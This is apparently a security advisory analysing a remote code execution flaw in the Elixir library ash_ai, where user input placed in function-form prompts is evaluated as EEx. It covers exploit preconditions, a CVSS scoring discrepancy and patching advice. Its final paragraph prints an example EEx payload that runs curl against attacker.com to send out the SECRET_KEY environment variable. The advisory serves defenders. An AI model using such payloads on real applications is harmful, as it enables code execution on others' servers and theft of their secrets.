ash_ai EUVD-2026-68303

The target application must use ash_ai and define at least one Ash action with the function-form prompt configuration (prompt: fn input, context -> ... end) where the function returns prompt content built from user-supplied action arguments - for example, constructing a message list that embeds input.arguments.text directly as message content. An attacker requires only network access to the HTTP endpoint that processes this action; no authentication, session, or account is required. Exploitation is blocked if: (a) the application uses only statically configured EEx template prompts rather than function-form prompts, (b) the function-form prompt does not incorporate request arguments into the returned content, or (c) the endpoint is not network-reachable. The ash_ai version must be 0.1.0 or later but earlier than 1.0.0.

The vendor-assigned CVSS 4.0 score of 8.9 is directionally reasonable given the full-RCE outcome, but the provided vector contains a material discrepancy: AV:L (local attack vector) directly contradicts the description's explicit assertion of 'remote, unauthenticated client' exploitation - a network-reachable HTTP endpoint cannot carry a local attack vector, and this appears to be a scoring error. AT:P (attack target present) correctly captures the condition that the application must expose a prompt action incorporating user-supplied input, narrowing the exploitable population. EPSS at 0.38% (31st percentile) reflects ash_ai's niche footprint in the Elixir/Ash ecosystem and the absence of weaponized tooling; no CISA KEV listing and no public exploit code have been identified at time of analysis. However, EPSS should not drive prioritization here in isolation: the exploitation path requires no authentication, no special tooling, and no user interaction - a single HTTP request with an EEx payload is sufficient against any reachable vulnerable endpoint. SSVC signals reinforce urgency for exposed deployments: exploitation is not confirmed active, but is automatable, and technical impact is total (full server-side code execution). Organizations running ash_ai with function-form prompt actions that embed action arguments into prompt content should patch to 1.0.0 immediately; those using only statically configured templates are not exposed.

An attacker sends a POST request to an Ash application endpoint backed by a prompt action - such as an AI-powered text analysis feature - embedding an EEx payload like <%= System.cmd("curl", ["attacker.com/exfil?h=" <> System.get_env("SECRET_KEY")]) %> in a request argument that the application incorporates into its function-form prompt. Before any AI model request is made, AshAi.Actions.Prompt evaluates the assembled prompt through EEx.eval_string/2, executing the injected Elixir code on the server under the application's OS user. No public exploit code exists, but the patch's own regression test (commit e9948254) demonstrates the exact payload format and confirms exploitability in the pre-patch codebase.